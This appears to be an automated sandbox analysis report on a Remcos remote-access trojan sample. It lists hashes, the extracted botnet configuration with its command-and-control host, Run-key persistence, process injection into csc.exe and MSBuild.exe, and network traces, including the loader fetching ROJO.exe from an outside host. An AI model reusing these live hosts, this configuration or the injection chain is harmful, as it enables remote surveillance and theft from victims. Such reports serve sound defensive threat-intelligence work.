remcos | c413b5fc353f566a47c17c56b69b2cc7b33e048673b78678d33b3aa8804d1d08

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
14/11/2024, 19:57 UTC

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General

Target

c413b5fc353f566a47c17c56b69b2cc7b33e048673b78678d33b3aa8804d1d08.exe
Size

2.6MB
MD5

8e921737fd53f5a40e982495f0c7c3c9
SHA1

c46e2cae95d387f64964fa000b8daff2f646bdbb
SHA256

c413b5fc353f566a47c17c56b69b2cc7b33e048673b78678d33b3aa8804d1d08
SHA512

e767b00c4ea757b4af8dd0339260f5748d2475d5b94c6c2a83d20077990379068e8bf7bbfb7b2cf1015ad4f56968456131447ab63225975d2bb5cdb2535f0fdc
SSDEEP

49152:rTOYjy2jq6ZutrfM2IAIbu/GFcThB84muqmSj9TgM/rhiYO/CeQTWoNdjjEPOaDT:rBIknAIbuQ2mtnhiY8dT

Score

10^/10

remcos rojo discovery persistence rat

Malware Config

Extracted

Family

remcos

Botnet

ROJO

nuevodntestchec.addns.org:3018

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
registros.dat
keylog_flag
false
keylog_folder
data
mouse_option
false
mutex
jjajbsfbisfablklsafg-LEIC4X
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Capturas de pantalla
screenshot_path
%AppData%
screenshot_time
10
startup_value
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos
Downloads MZ/PE file

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SteganosSafe = "C:\\Users\\Admin\\Videos\\SteganosSafe\\SafeVideo.exe"	c413b5fc353f566a47c17c56b69b2cc7b33e048673b78678d33b3aa8804d1d08.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2764 set thread context of 220	2764	c413b5fc353f566a47c17c56b69b2cc7b33e048673b78678d33b3aa8804d1d08.exe	96
PID 220 set thread context of 5572	220	csc.exe	100

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c413b5fc353f566a47c17c56b69b2cc7b33e048673b78678d33b3aa8804d1d08.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	220	csc.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5572	MSBuild.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2764 wrote to memory of 220	2764	c413b5fc353f566a47c17c56b69b2cc7b33e048673b78678d33b3aa8804d1d08.exe	96
PID 2764 wrote to memory of 220	2764	c413b5fc353f566a47c17c56b69b2cc7b33e048673b78678d33b3aa8804d1d08.exe	96
PID 2764 wrote to memory of 220	2764	c413b5fc353f566a47c17c56b69b2cc7b33e048673b78678d33b3aa8804d1d08.exe	96
PID 2764 wrote to memory of 220	2764	c413b5fc353f566a47c17c56b69b2cc7b33e048673b78678d33b3aa8804d1d08.exe	96
PID 2764 wrote to memory of 220	2764	c413b5fc353f566a47c17c56b69b2cc7b33e048673b78678d33b3aa8804d1d08.exe	96
PID 220 wrote to memory of 5572	220	csc.exe	100
PID 220 wrote to memory of 5572	220	csc.exe	100
PID 220 wrote to memory of 5572	220	csc.exe	100
PID 220 wrote to memory of 5572	220	csc.exe	100
PID 220 wrote to memory of 5572	220	csc.exe	100
PID 220 wrote to memory of 5572	220	csc.exe	100
PID 220 wrote to memory of 5572	220	csc.exe	100
PID 220 wrote to memory of 5572	220	csc.exe	100
PID 220 wrote to memory of 5572	220	csc.exe	100
PID 220 wrote to memory of 5572	220	csc.exe	100

C:\Users\Admin\AppData\Local\Temp\c413b5fc353f566a47c17c56b69b2cc7b33e048673b78678d33b3aa8804d1d08.exe
"C:\Users\Admin\AppData\Local\Temp\c413b5fc353f566a47c17c56b69b2cc7b33e048673b78678d33b3aa8804d1d08.exe"
1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2764
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:220
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:5572

Network

DNS

104.219.191.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

104.219.191.52.in-addr.arpa

IN PTR

Response
DNS

75.159.190.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

75.159.190.20.in-addr.arpa

IN PTR

Response
DNS

95.221.229.192.in-addr.arpa

Remote address:

8.8.8.8:53

Request

95.221.229.192.in-addr.arpa

IN PTR

Response
DNS

154.239.44.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

154.239.44.20.in-addr.arpa

IN PTR

Response
DNS

araguatec.addns.org

csc.exe

Remote address:

8.8.8.8:53

Request

araguatec.addns.org

IN A

Response

araguatec.addns.org

IN A

181.141.40.225
DNS

225.40.141.181.in-addr.arpa

Remote address:

8.8.8.8:53

Request

225.40.141.181.in-addr.arpa

IN PTR

Response

225.40.141.181.in-addr.arpa

IN PTR

hfc-181-141-40-225unenetco
DNS

225.40.141.181.in-addr.arpa

Remote address:

8.8.8.8:53

Request

225.40.141.181.in-addr.arpa

IN PTR
DNS

225.40.141.181.in-addr.arpa

Remote address:

8.8.8.8:53

Request

225.40.141.181.in-addr.arpa

IN PTR
DNS

225.40.141.181.in-addr.arpa

Remote address:

8.8.8.8:53

Request

225.40.141.181.in-addr.arpa

IN PTR
DNS

contath.org

csc.exe

Remote address:

8.8.8.8:53

Request

contath.org

IN A

Response

contath.org

IN A

69.49.234.173
GET

https://contath.org/ROJO.exe

csc.exe

Remote address:

69.49.234.173:443

Request

GET /ROJO.exe HTTP/1.1
Host: contath.org
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Date: Thu, 14 Nov 2024 19:58:30 GMT
Server: Apache
Last-Modified: Wed, 13 Nov 2024 13:51:59 GMT
Accept-Ranges: bytes
Content-Length: 492544
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/x-msdownload
DNS

197.87.175.4.in-addr.arpa

Remote address:

8.8.8.8:53

Request

197.87.175.4.in-addr.arpa

IN PTR

Response
DNS

173.234.49.69.in-addr.arpa

Remote address:

8.8.8.8:53

Request

173.234.49.69.in-addr.arpa

IN PTR

Response

173.234.49.69.in-addr.arpa

IN PTR

69-49-234-173 webhostboxnet
DNS

nuevodntestchec.addns.org

MSBuild.exe

Remote address:

8.8.8.8:53

Request

nuevodntestchec.addns.org

IN A

Response

nuevodntestchec.addns.org

IN A

181.141.40.225
DNS

171.39.242.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

171.39.242.20.in-addr.arpa

IN PTR

Response
DNS

171.39.242.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

171.39.242.20.in-addr.arpa

IN PTR
DNS

geoplugin.net

MSBuild.exe

Remote address:

8.8.8.8:53

Request

geoplugin.net

IN A

Response

geoplugin.net

IN A

178.237.33.50
DNS

geoplugin.net

MSBuild.exe

Remote address:

8.8.8.8:53

Request

geoplugin.net

IN A
GET

http://geoplugin.net/json.gp

MSBuild.exe

Remote address:

178.237.33.50:80

Request

GET /json.gp HTTP/1.1
Host: geoplugin.net
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

date: Thu, 14 Nov 2024 19:58:34 GMT
server: Apache
content-length: 956
content-type: application/json; charset=utf-8
cache-control: public, max-age=300
access-control-allow-origin: *
DNS

103.209.201.84.in-addr.arpa

Remote address:

8.8.8.8:53

Request

103.209.201.84.in-addr.arpa

IN PTR

Response
DNS

50.33.237.178.in-addr.arpa

Remote address:

8.8.8.8:53

Request

50.33.237.178.in-addr.arpa

IN PTR

Response

50.33.237.178.in-addr.arpa

IN CNAME

50.32/27.178.237.178.in-addr.arpa
DNS

172.214.232.199.in-addr.arpa

Remote address:

8.8.8.8:53

Request

172.214.232.199.in-addr.arpa

IN PTR

Response
DNS

13.227.111.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

13.227.111.52.in-addr.arpa

IN PTR

Response

181.141.40.225:30201

araguatec.addns.org

csc.exe

482 B
352 B
7
6
69.49.234.173:443

https://contath.org/ROJO.exe

tls, http

csc.exe

9.1kB
512.8kB
191
373

HTTP Request

GET https://contath.org/ROJO.exe

HTTP Response

200
181.141.40.225:30201

araguatec.addns.org

csc.exe

436 B
172 B
6
4
181.141.40.225:3018

nuevodntestchec.addns.org

MSBuild.exe

2.5kB
664 B
11
13
178.237.33.50:80

http://geoplugin.net/json.gp

http

MSBuild.exe

531 B
1.3kB
10
3

HTTP Request

GET http://geoplugin.net/json.gp

HTTP Response

200

8.8.8.8:53

104.219.191.52.in-addr.arpa

dns

73 B
147 B
1
1

DNS Request

104.219.191.52.in-addr.arpa
8.8.8.8:53

75.159.190.20.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

75.159.190.20.in-addr.arpa
8.8.8.8:53

95.221.229.192.in-addr.arpa

dns

73 B
144 B
1
1

DNS Request

95.221.229.192.in-addr.arpa
8.8.8.8:53

154.239.44.20.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

154.239.44.20.in-addr.arpa
8.8.8.8:53

araguatec.addns.org

dns

csc.exe

65 B
81 B
1
1

DNS Request

araguatec.addns.org

DNS Response

181.141.40.225
8.8.8.8:53

225.40.141.181.in-addr.arpa

dns

292 B
116 B
4
1

DNS Request

225.40.141.181.in-addr.arpa

DNS Request

225.40.141.181.in-addr.arpa

DNS Request

225.40.141.181.in-addr.arpa

DNS Request

225.40.141.181.in-addr.arpa
8.8.8.8:53

contath.org

dns

csc.exe

57 B
73 B
1
1

DNS Request

contath.org

DNS Response

69.49.234.173
8.8.8.8:53

197.87.175.4.in-addr.arpa

dns

71 B
157 B
1
1

DNS Request

197.87.175.4.in-addr.arpa
8.8.8.8:53

173.234.49.69.in-addr.arpa

dns

72 B
114 B
1
1

DNS Request

173.234.49.69.in-addr.arpa
8.8.8.8:53

nuevodntestchec.addns.org

dns

MSBuild.exe

71 B
87 B
1
1

DNS Request

nuevodntestchec.addns.org

DNS Response

181.141.40.225
8.8.8.8:53

171.39.242.20.in-addr.arpa

dns

144 B
158 B
2
1

DNS Request

171.39.242.20.in-addr.arpa

DNS Request

171.39.242.20.in-addr.arpa
8.8.8.8:53

geoplugin.net

dns

MSBuild.exe

118 B
75 B
2
1

DNS Request

geoplugin.net

DNS Request

geoplugin.net

DNS Response

178.237.33.50
8.8.8.8:53

103.209.201.84.in-addr.arpa

dns

73 B
133 B
1
1

DNS Request

103.209.201.84.in-addr.arpa
8.8.8.8:53

50.33.237.178.in-addr.arpa

dns

72 B
155 B
1
1

DNS Request

50.33.237.178.in-addr.arpa
8.8.8.8:53

172.214.232.199.in-addr.arpa

dns

74 B
128 B
1
1

DNS Request

172.214.232.199.in-addr.arpa
8.8.8.8:53

13.227.111.52.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

13.227.111.52.in-addr.arpa

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\data\registros.dat

Filesize
184B

MD5
85846c3074f3273b7dfaead3b06cb609

SHA1
c9265a2b0f1b8ed42cd56fc5141cb13f0ced293d

SHA256
e1e1a2810bdb9cae7f5acdf742375271ae79ccae0a5a78d3b4875d15675e43d8

SHA512
68c604ca7c4f75b92b490c4f94ccaeace13865faa40cfee80d1a437169d15d4a6c0c5cbc861ab65bf83261384a8a704770441045159b2c78450cf1de909260a3

Download Submit
memory/220-33-0x0000000004F90000-0x000000000505E000-memory.dmp

Filesize
824KB

Download
memory/220-3928-0x0000000005170000-0x00000000051BC000-memory.dmp

Filesize
304KB

Download
memory/220-11-0x0000000074970000-0x0000000075120000-memory.dmp

Filesize
7.7MB

Download
memory/220-15-0x0000000004F90000-0x000000000505E000-memory.dmp

Filesize
824KB

Download
memory/220-9-0x000000007497E000-0x000000007497F000-memory.dmp

Filesize
4KB

Download
memory/220-3932-0x0000000005920000-0x0000000005974000-memory.dmp

Filesize
336KB

Download
memory/220-3931-0x0000000074970000-0x0000000075120000-memory.dmp

Filesize
7.7MB

Download
memory/220-58-0x0000000004F90000-0x000000000505E000-memory.dmp

Filesize
824KB

Download
memory/220-63-0x0000000004F90000-0x000000000505E000-memory.dmp

Filesize
824KB

Download
memory/220-61-0x0000000004F90000-0x000000000505E000-memory.dmp

Filesize
824KB

Download
memory/220-59-0x0000000004F90000-0x000000000505E000-memory.dmp

Filesize
824KB

Download
memory/220-55-0x0000000004F90000-0x000000000505E000-memory.dmp

Filesize
824KB

Download
memory/220-53-0x0000000004F90000-0x000000000505E000-memory.dmp

Filesize
824KB

Download
memory/220-49-0x0000000004F90000-0x000000000505E000-memory.dmp

Filesize
824KB

Download
memory/220-47-0x0000000004F90000-0x000000000505E000-memory.dmp

Filesize
824KB

Download
memory/220-45-0x0000000004F90000-0x000000000505E000-memory.dmp

Filesize
824KB

Download
memory/220-43-0x0000000004F90000-0x000000000505E000-memory.dmp

Filesize
824KB

Download
memory/220-41-0x0000000004F90000-0x000000000505E000-memory.dmp

Filesize
824KB

Download
memory/220-67-0x0000000004F90000-0x000000000505E000-memory.dmp

Filesize
824KB

Download
memory/220-65-0x0000000004F90000-0x000000000505E000-memory.dmp

Filesize
824KB

Download
memory/220-39-0x0000000004F90000-0x000000000505E000-memory.dmp

Filesize
824KB

Download
memory/220-37-0x0000000004F90000-0x000000000505E000-memory.dmp

Filesize
824KB

Download
memory/220-35-0x0000000004F90000-0x000000000505E000-memory.dmp

Filesize
824KB

Download
memory/220-6-0x0000000000680000-0x0000000000724000-memory.dmp

Filesize
656KB

Download
memory/220-10-0x0000000004F90000-0x0000000005064000-memory.dmp

Filesize
848KB

Download
memory/220-31-0x0000000004F90000-0x000000000505E000-memory.dmp

Filesize
824KB

Download
memory/220-52-0x0000000004F90000-0x000000000505E000-memory.dmp

Filesize
824KB

Download
memory/220-27-0x0000000004F90000-0x000000000505E000-memory.dmp

Filesize
824KB

Download
memory/220-25-0x0000000004F90000-0x000000000505E000-memory.dmp

Filesize
824KB

Download
memory/220-23-0x0000000004F90000-0x000000000505E000-memory.dmp

Filesize
824KB

Download
memory/220-21-0x0000000004F90000-0x000000000505E000-memory.dmp

Filesize
824KB

Download
memory/220-19-0x0000000004F90000-0x000000000505E000-memory.dmp

Filesize
824KB

Download
memory/220-17-0x0000000004F90000-0x000000000505E000-memory.dmp

Filesize
824KB

Download
memory/220-12-0x0000000004F90000-0x000000000505E000-memory.dmp

Filesize
824KB

Download
memory/220-13-0x0000000004F90000-0x000000000505E000-memory.dmp

Filesize
824KB

Download
memory/220-3930-0x000000007497E000-0x000000007497F000-memory.dmp

Filesize
4KB

Download
memory/220-3929-0x0000000005280000-0x00000000052E6000-memory.dmp

Filesize
408KB

Download
memory/220-29-0x0000000004F90000-0x000000000505E000-memory.dmp

Filesize
824KB

Download
memory/220-3927-0x0000000005110000-0x0000000005166000-memory.dmp

Filesize
344KB

Download
memory/2764-7-0x0000000000400000-0x00000000006A9000-memory.dmp

Filesize
2.7MB

Download
memory/2764-1582-0x000000000042F000-0x0000000000448000-memory.dmp

Filesize
100KB

Download
memory/2764-8-0x0000000000400000-0x00000000006A9000-memory.dmp

Filesize
2.7MB

Download
memory/2764-2-0x0000000000400000-0x00000000006A9000-memory.dmp

Filesize
2.7MB

Download
memory/2764-5-0x0000000000400000-0x00000000006A9000-memory.dmp

Filesize
2.7MB

Download
memory/2764-4-0x0000000000400000-0x00000000006A9000-memory.dmp

Filesize
2.7MB

Download
memory/2764-3-0x0000000000400000-0x00000000006A9000-memory.dmp

Filesize
2.7MB

Download
memory/2764-0-0x0000000000400000-0x00000000006A9000-memory.dmp

Filesize
2.7MB

Download
memory/2764-1-0x000000000042F000-0x0000000000448000-memory.dmp

Filesize
100KB

Download
memory/5572-3937-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/5572-3951-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

HTTP Request

HTTP Response

HTTP Request

HTTP Response

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Response

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Response

DNS Request

DNS Request

DNS Request

DNS Response

DNS Request

DNS Request

DNS Request

DNS Request

DNS Response

DNS Request

DNS Request

DNS Request

DNS Request

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

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